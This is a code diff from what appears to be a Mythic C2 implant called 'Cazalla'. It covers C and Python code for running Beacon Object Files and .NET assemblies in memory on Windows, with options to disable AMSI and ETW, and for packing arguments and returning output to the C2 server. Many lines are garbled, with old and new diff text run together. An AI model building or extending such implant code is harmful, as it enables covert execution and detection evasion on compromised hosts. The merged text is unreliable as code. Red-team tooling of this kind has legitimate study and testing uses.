addBytes(salida, (PBYTE)outdata, outdataSize, TRUE); addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
free(outdata); free(outdata);
} else {
_inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize);
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
}
}
_inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length); // If BOF failed but we have output, add a warning
if (!bofSuccess) {
PackageAddFormatPrintf(salida, FALSE, "\n[WARNING] BOF execution may have failed, but output was captured\n");
}
} else {
if (bofSuccess) {
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
} else {
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
}
}
// Add output to response FIRST (before artifacts) // Add output to response FIRST (before artifacts)
// Format must be: [UUID_tarea][output_len][output][marcadores...] // Format must be: [UUID_tarea][output_len][output][marcadores...]
_inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length);
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Add Process Create artifact AFTER output // Add Process Create artifact AFTER output
// BOF execution creates process artifacts // BOF execution creates process artifacts
char artifact_buf[512]; char artifact_buf[512];
if (argsJson && argsLen > 0) { if (bofArgs && bofArgsSize > 0) {
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s", snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args_size=%zu",
(int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson); (int)fileIdLen, fileId, bofArgsSize);
} else { } else {
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId); snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
} }
addArtifact(respuesta, "Process Create", artifact_buf); addArtifact(respuesta, "Process Create", artifact_buf);
_inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length);
// Send response // Send response
Analizador* respuestaAnalizador = mandarPaquete(respuesta); Analizador* respuestaAnalizador = mandarPaquete(respuesta);
if (respuestaAnalizador) {
liberarAnalizador(respuestaAnalizador);
} else {
_err("[inline_execute] ERROR: mandarPaquete retornó NULL - la respuesta no se envió");
}
liberarPaquete(salida); liberarPaquete(salida);
liberarPaquete(respuesta); liberarPaquete(respuesta);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
// Cleanup // Cleanup
if (bof.buffer) LocalFree(bof.buffer); if (bof.buffer) {
if (bofArgs) LocalFree(bofArgs); LocalFree(bof.buffer);
if (argumentos) liberarAnalizador(argumentos); bof.buffer = NULL;
}
_inf("===== InlineExecuteHandler FIN ====="); if (bofArgs) {
LocalFree(bofArgs);
bofArgs = NULL;
}
if (argumentos) {
liberarAnalizador(argumentos);
argumentos = NULL;
}
} }
@@ -122,6 +122,15 @@ static VOID flushRpfwdTraffic(PPaquete paquete) {
/* === Enviar paquete con soporte SOCKS === */ /* === Enviar paquete con soporte SOCKS === */
PAnalizador mandarPaquete(PPaquete paquete) { PAnalizador mandarPaquete(PPaquete paquete) {
_inf("=== mandarPaquete INICIO === len=%zu", paquete->length);
if (!paquete) {
_err("mandarPaquete: paquete es NULL");
return NULL;
}
if (!paquete->buffer) {
_err("mandarPaquete: paquete->buffer es NULL");
return NULL;
}
_dbg("mandarPaquete() len=%zu", paquete->length); _dbg("mandarPaquete() len=%zu", paquete->length);
// Solo añadir tráfico SOCKS si el proxy está activo // Solo añadir tráfico SOCKS si el proxy está activo
@@ -251,10 +260,11 @@ PAnalizador mandarPaquete(PPaquete paquete) {
} }
if (!respuesta) { if (!respuesta) {
_err("respuesta NULL"); _err("mandarPaquete: respuesta NULL después de mandarYRecibir");
return NULL; return NULL;
} }
_inf("mandarPaquete: respuesta recibida exitosamente (tamano=%zu)", respuesta->tamano);
_dbg("respuesta OK"); _dbg("respuesta OK");
// === Decodificar base64 de la respuesta === // === Decodificar base64 de la respuesta ===
@@ -2,6 +2,100 @@ from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import * from mythic_container.MythicRPC import *
import json import json
# Completion callback for BOF execution
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
try:
out = ""
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
# Get parent task ID
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if not parent_task_id:
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
# Get subtask ID
subtask_id = None
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
subtask_id = completionMsg.SubtaskData.Task.ID
if not subtask_id:
# Try alternative attribute names
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
if hasattr(completionMsg.Subtask, 'ID'):
subtask_id = completionMsg.Subtask.ID
elif hasattr(completionMsg.Subtask, 'TaskID'):
subtask_id = completionMsg.Subtask.TaskID
if not subtask_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response="[ERROR] No subtask ID found in completion message"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
# Search for responses from the subtask
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
if not responses.Success:
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=f"[ERROR] Failed to search responses for subtask {subtask_id}: {error_detail}"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=error_detail)
# Process responses if they exist
responses_list = None
if hasattr(responses, 'Responses'):
responses_list = responses.Responses
elif hasattr(responses, 'responses'):
responses_list = responses.responses
elif hasattr(responses, 'Response'):
responses_list = [responses.Response] if responses.Response else []
if responses_list:
for output in responses_list:
if hasattr(output, 'Response'):
out += str(output.Response)
elif hasattr(output, 'response'):
out += str(output.response)
elif hasattr(output, 'Message'):
out += str(output.Message)
elif hasattr(output, 'message'):
out += str(output.message)
elif isinstance(output, str):
out += output
elif isinstance(output, bytes):
out += output.decode('utf-8', errors='ignore')
else:
out += str(output)
# If no output was found, indicate successful execution
if not out:
out = "[BOF executed successfully but produced no output]"
# Send the aggregated output back to the parent task
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=out
))
return response
except Exception as e:
import traceback
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
try:
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if parent_task_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=error_msg
))
except:
pass # If we can't send the error, at least return failure
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
class InlineExecuteArguments(TaskArguments): class InlineExecuteArguments(TaskArguments):
def __init__(self, command_line, **kwargs): def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs) super().__init__(command_line, **kwargs)
@@ -40,13 +134,14 @@ class InlineExecuteArguments(TaskArguments):
display_name="Arguments", display_name="Arguments",
type=ParameterType.TypedArray, type=ParameterType.TypedArray,
default_value=[], default_value=[],
choices=["int16", "int32", "string", "wchar", "base64"], choices=["int16", "int32", "string", "wchar", "base64", "bytes"],
description="""Arguments to pass to the BOF via the following way: description="""Arguments to pass to the BOF via the following way:
-s:123 or int16:123 -s:123 or int16:123
-i:123 or int32:123 -i:123 or int32:123
-z:hello or string:hello -z:hello or string:hello
-Z:hello or wchar:hello -Z:hello or wchar:hello
-b:abc== or base64:abc==""", -b:abc== or base64:abc==
bytes:hexstring (hexadecimal string of bytes)""",
typedarray_parse_function=self.get_arguments, typedarray_parse_function=self.get_arguments,
parameter_group_info=[ parameter_group_info=[
ParameterGroupInfo( ParameterGroupInfo(
@@ -64,9 +159,11 @@ class InlineExecuteArguments(TaskArguments):
] ]
async def parse_arguments(self): async def parse_arguments(self):
if len(self.command_line) == 0: # This is only called when user types command directly
raise ValueError("Must supply arguments") # Subtasks use parse_dictionary instead
if len(self.command_line) > 0:
raise ValueError("Must supply named arguments or use the modal") raise ValueError("Must supply named arguments or use the modal")
# If command_line is empty, do nothing (subtask will use parse_dictionary)
async def parse_dictionary(self, dictionary_arguments): async def parse_dictionary(self, dictionary_arguments):
# Allowed argument keys # Allowed argument keys
@@ -105,6 +202,9 @@ class InlineExecuteArguments(TaskArguments):
bof_arguments.append(["wchar",value]) bof_arguments.append(["wchar",value])
elif argType == "base64" or argType == "-b" or argType == "b": elif argType == "base64" or argType == "-b" or argType == "b":
bof_arguments.append(["base64",value]) bof_arguments.append(["base64",value])
elif argType == "bytes":
# bytes type expects a hexadecimal string
bof_arguments.append(["bytes",value])
else: else:
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False, return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
Error=f"Failed to parse argument: {argument}: Unknown value type.") Error=f"Failed to parse argument: {argument}: Unknown value type.")
@@ -149,6 +249,7 @@ class InlineExecuteCommand(CommandBase):
author = "@c0rnbread (adapted for Cazalla)" author = "@c0rnbread (adapted for Cazalla)"
attackmapping = [] attackmapping = []
argument_class = InlineExecuteArguments argument_class = InlineExecuteArguments
completion_functions = {"coff_completion_callback": coff_completion_callback}
attributes = CommandAttributes( attributes = CommandAttributes(
builtin=False, builtin=False,
supported_os=[ SupportedOS.Windows ], supported_os=[ SupportedOS.Windows ],
@@ -163,19 +264,26 @@ class InlineExecuteCommand(CommandBase):
try: try:
groupName = taskData.args.get_parameter_group_name() groupName = taskData.args.get_parameter_group_name()
if groupName == "New":
# Check if bof_file is provided (from subtask or "New" group)
if taskData.args.get_arg("bof_file"):
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID, TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("bof_file") AgentFileID=taskData.args.get_arg("bof_file")
)) ))
if file_resp.Success: if file_resp.Success:
if len(file_resp.Files) > 0: if len(file_resp.Files) > 0:
pass # Set display parameters
if groupName != "New": # Don't override if already set
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("bof_arguments")
)
else: else:
raise Exception("Failed to find that file") raise Exception("Failed to find that file")
else: else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
elif groupName == "Default": elif groupName == "Default" or taskData.args.get_arg("bof_name"):
# We're trying to find an already existing file and use that # We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID, TaskID=taskData.Task.ID,
@@ -198,6 +306,8 @@ class InlineExecuteCommand(CommandBase):
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else: else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
else:
raise Exception("Either bof_name or bof_file must be provided")
except Exception as e: except Exception as e:
raise Exception("Error from Mythic: " + str(e)) raise Exception("Error from Mythic: " + str(e))
@@ -8,6 +8,118 @@ logging.basicConfig(level=logging.INFO)
# Wrapper function for Inline-EA # Wrapper function for Inline-EA
# BoF Credits: https://github.com/EricEsquivel/Inline-EA # BoF Credits: https://github.com/EricEsquivel/Inline-EA
# Completion callback for BOF execution
# This captures output from the subtask and displays it in the main command
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
try:
out = ""
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
# Get parent task ID
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if not parent_task_id:
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
# Get subtask ID
subtask_id = None
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
subtask_id = completionMsg.SubtaskData.Task.ID
if not subtask_id:
# Try alternative attribute names
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
if hasattr(completionMsg.Subtask, 'ID'):
subtask_id = completionMsg.Subtask.ID
elif hasattr(completionMsg.Subtask, 'TaskID'):
subtask_id = completionMsg.Subtask.TaskID
if not subtask_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response="[ERROR] No subtask ID found in completion message"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
# Search for responses from the subtask
# Add a small delay to ensure the response is available
import asyncio
await asyncio.sleep(1.0) # Wait 1 second for response to be processed
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
logging.info(f"[coff_completion_callback] Searching responses for subtask {subtask_id}, Success={responses.Success}")
logging.info(f"[coff_completion_callback] Response object type: {type(responses)}")
logging.info(f"[coff_completion_callback] Response object attributes: {dir(responses)}")
if not responses.Success:
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
logging.warning(f"[coff_completion_callback] Failed to search responses: {error_detail}")
# Don't return error, just log it and continue
# Process responses if they exist
responses_list = None
if responses.Success:
if hasattr(responses, 'Responses'):
responses_list = responses.Responses
logging.info(f"[coff_completion_callback] Found responses.Responses: {len(responses_list) if responses_list else 0} items")
elif hasattr(responses, 'responses'):
responses_list = responses.responses
logging.info(f"[coff_completion_callback] Found responses.responses: {len(responses_list) if responses_list else 0} items")
elif hasattr(responses, 'Response'):
responses_list = [responses.Response] if responses.Response else []
logging.info(f"[coff_completion_callback] Found responses.Response: {len(responses_list) if responses_list else 0} items")
else:
logging.warning(f"[coff_completion_callback] No known response attribute found in response object")
if responses_list:
logging.info(f"[coff_completion_callback] Processing {len(responses_list)} response items")
for idx, output in enumerate(responses_list):
logging.info(f"[coff_completion_callback] Processing response item {idx}, type: {type(output)}")
if hasattr(output, 'Response'):
out += str(output.Response)
elif hasattr(output, 'response'):
out += str(output.response)
elif hasattr(output, 'Message'):
out += str(output.Message)
elif hasattr(output, 'message'):
out += str(output.message)
elif hasattr(output, 'output'):
out += str(output.output)
elif isinstance(output, str):
out += output
elif isinstance(output, bytes):
out += output.decode('utf-8', errors='ignore')
else:
logging.info(f"[coff_completion_callback] Converting output to string, type: {type(output)}")
out += str(output)
# If no output was found, indicate successful execution
if not out:
logging.warning(f"[coff_completion_callback] No output found for subtask {subtask_id}")
out = "[Assembly executed successfully but produced no output]"
# Send the aggregated output back to the parent task
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=out
))
return response
except Exception as e:
import traceback
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
try:
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if parent_task_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=error_msg
))
except:
pass
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
class InlineExecuteAssemblyArguments(TaskArguments): class InlineExecuteAssemblyArguments(TaskArguments):
def __init__(self, command_line, **kwargs): def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs) super().__init__(command_line, **kwargs)
@@ -130,9 +242,16 @@ class InlineExecuteAssemblyArguments(TaskArguments):
return response return response
async def parse_arguments(self): async def parse_arguments(self):
if len(self.command_line) == 0: # This is only called when user types command directly
raise ValueError("Must supply arguments") # Subtasks use parse_dictionary instead
if len(self.command_line) > 0:
raise ValueError("Must supply named arguments or use the modal") raise ValueError("Must supply named arguments or use the modal")
# If command_line is empty, do nothing (subtask will use parse_dictionary)
async def parse_dictionary(self, dictionary_arguments):
# This is called when using the modal UI or when called as a subtask
# Just load the arguments directly
self.load_args_from_dictionary(dictionary_arguments)
class InlineExecuteAssemblyCommand(CommandBase): class InlineExecuteAssemblyCommand(CommandBase):
cmd = "inline_execute_assembly" cmd = "inline_execute_assembly"
@@ -144,6 +263,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
script_only = True script_only = True
attackmapping = [] attackmapping = []
argument_class = InlineExecuteAssemblyArguments argument_class = InlineExecuteAssemblyArguments
completion_functions = {"coff_completion_callback": coff_completion_callback}
attributes = CommandAttributes( attributes = CommandAttributes(
dependencies=["inline_execute"], dependencies=["inline_execute"],
alias=True alias=True
@@ -217,6 +337,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
) )
# Arguments depend on the BOF # Arguments depend on the BOF
# Note: Using bof_name instead of bof_file to match Xenon's implementation
file_name = "inline-ea.x64.o" file_name = "inline-ea.x64.o"
arguments = [ arguments = [
[ [
@@ -229,31 +350,43 @@ class InlineExecuteAssemblyCommand(CommandBase):
], ],
[ [
"wchar", "wchar",
taskData.args.get_arg("assembly_arguments") # Assembly argument string taskData.args.get_arg("assembly_arguments") or "" # Assembly argument string
], ],
[ [
"int32", "int32",
taskData.args.get_arg("patch_exit") # BOOL 1 if taskData.args.get_arg("patch_exit") else 0 # BOOL: convert to 1 or 0
], ],
[ [
"int32", "int32",
taskData.args.get_arg("amsi") # BOOL 1 if taskData.args.get_arg("amsi") else 0 # BOOL: convert to 1 or 0
], ],
[ [
"int32", "int32",
taskData.args.get_arg("etw") # BOOL 1 if taskData.args.get_arg("etw") else 0 # BOOL: convert to 1 or 0
] ]
] ]
# Run inline_execute subtask # Find the BOF file first
bof_file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=file_name,
LimitByCallback=False,
MaxResults=1
))
if not bof_file_resp.Success or len(bof_file_resp.Files) == 0:
raise Exception(f"Failed to find BOF file '{file_name}': {bof_file_resp.Error if bof_file_resp.Success else 'File not found'}")
# Create subtask to execute inline_execute with the BOF
# Use coff_completion_callback to capture output and display it in the main command
subtask = await SendMythicRPCTaskCreateSubtask( subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage( MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID, taskData.Task.ID,
CommandName="inline_execute", CommandName="inline_execute",
SubtaskCallbackFunction="coff_completion_callback", SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({ Params=json.dumps({
"bof_name": file_name, "bof_file": bof_file_resp.Files[0].AgentFileId,
"bof_arguments": arguments "bof_arguments": arguments
}), }),
Token=taskData.Task.TokenID, Token=taskData.Task.TokenID,
@@ -1,4 +1,6 @@
import json import json
import base64
from .utils import Packer
commands = { commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None}, "get_tasking": {"hex_code": 0x00, "input_type": None},
@@ -215,6 +217,7 @@ def responseTasking(tasks):
elif commands[command_to_run]["input_type"] == "bof_special": elif commands[command_to_run]["input_type"] == "bof_special":
# inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] # inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
# Similar to Xenon: serialize arguments in translator using Packer
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
file_id = parameters.get("bof_file", "") file_id = parameters.get("bof_file", "")
@@ -224,16 +227,49 @@ def responseTasking(tasks):
data += len(file_id_bytes).to_bytes(4, "big") data += len(file_id_bytes).to_bytes(4, "big")
data += file_id_bytes data += file_id_bytes
# Add BOF arguments (serialized) # Serialize BOF arguments using Packer (like Xenon)
bof_args = parameters.get("bof_arguments", []) bof_args = parameters.get("bof_arguments", [])
args_str = json.dumps(bof_args) if bof_args else "" if bof_args and len(bof_args) > 0:
args_bytes = args_str.encode('utf-8') packer = Packer()
data += len(args_bytes).to_bytes(4, "big") # Handle TypedList as single length-prefixed argument to Agent (like Xenon)
data += args_bytes for item in bof_args:
item_type, item_value = item
if item_type == "int16":
packer.addshort(int(item_value))
elif item_type == "int32":
# Convert to int, handling both bool and int values
if isinstance(item_value, bool):
packer.adduint32(1 if item_value else 0)
else:
packer.adduint32(int(item_value))
elif item_type == "bytes":
# Convert hex string to bytes
packer.addbytes(bytes.fromhex(item_value))
elif item_type == "string":
packer.addstr(item_value)
elif item_type == "wchar":
packer.addWstr(item_value)
elif item_type == "base64":
try:
decoded_value = base64.b64decode(item_value)
packer.addstr(decoded_value)
except Exception:
print(f"[TRANSLATOR] Error: Invalid base64 string: {item_value}")
# Fallback: add as empty string
packer.addstr("")
# Packer.getbuffer() returns length-prefixed buffer: [size:4 bytes LE][data]
packed_params = packer.getbuffer()
# Send as length-prefixed string (big-endian for length prefix, like other strings)
data += len(packed_params).to_bytes(4, "big")
data += packed_params
else:
# No arguments - send empty buffer
data += (0).to_bytes(4, "big")
task_size = len(data) task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data dataTask += task_size.to_bytes(4, "big") + data
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}") print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
elif commands[command_to_run]["input_type"] == "assembly_special": elif commands[command_to_run]["input_type"] == "assembly_special":
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] # inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
+67
View File
@@ -1,5 +1,6 @@
import base64 import base64
import os import os
from struct import pack, calcsize
def getBytesWithSize(data): def getBytesWithSize(data):
""" """
@@ -29,3 +30,69 @@ def getBytesWithSize(data):
return data[:size], b"" return data[:size], b""
return data[:size], data[size:] return data[:size], data[size:]
class Packer:
"""
Packed data into length-prefixed binary format.
Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py
Adapted from Xenon's implementation
"""
def __init__(self):
self.buffer : bytes = b''
self.size : int = 0
def getbuffer(self):
"""Returns length-prefixed buffer: [size:4 bytes little-endian][data]"""
return pack("<L", self.size) + self.buffer
def addstr(self, s):
"""Add a null-terminated string"""
if s is None:
s = ''
if isinstance(s, str):
s = s.encode("utf-8")
fmt = "<L{}s".format(len(s) + 1)
self.buffer += pack(fmt, len(s)+1, s)
self.size += calcsize(fmt)
def addWstr(self, s):
"""Add a null-terminated wide string (UTF-16 LE)"""
if s is None:
s = ''
s = s.encode("utf-16_le")
fmt = "<L{}s".format(len(s) + 2)
self.buffer += pack(fmt, len(s)+2, s)
self.size += calcsize(fmt)
def addbytes(self, b):
"""Add raw bytes"""
if b is None:
b = b''
fmt = "<L{}s".format(len(b))
self.buffer += pack(fmt, len(b), b)
self.size += calcsize(fmt)
def addbool(self, b):
"""Add a boolean as int32"""
fmt = '<I'
self.buffer += pack(fmt, 1 if b else 0)
self.size += 4
def adduint32(self, n):
"""Add an unsigned int32"""
fmt = '<I'
self.buffer += pack(fmt, n)
self.size += 4
def addint(self, dint):
"""Add a signed int32"""
self.buffer += pack("<i", dint)
self.size += 4
def addshort(self, n):
"""Add a signed int16"""
fmt = '<h'
self.buffer += pack(fmt, n)
self.size += 2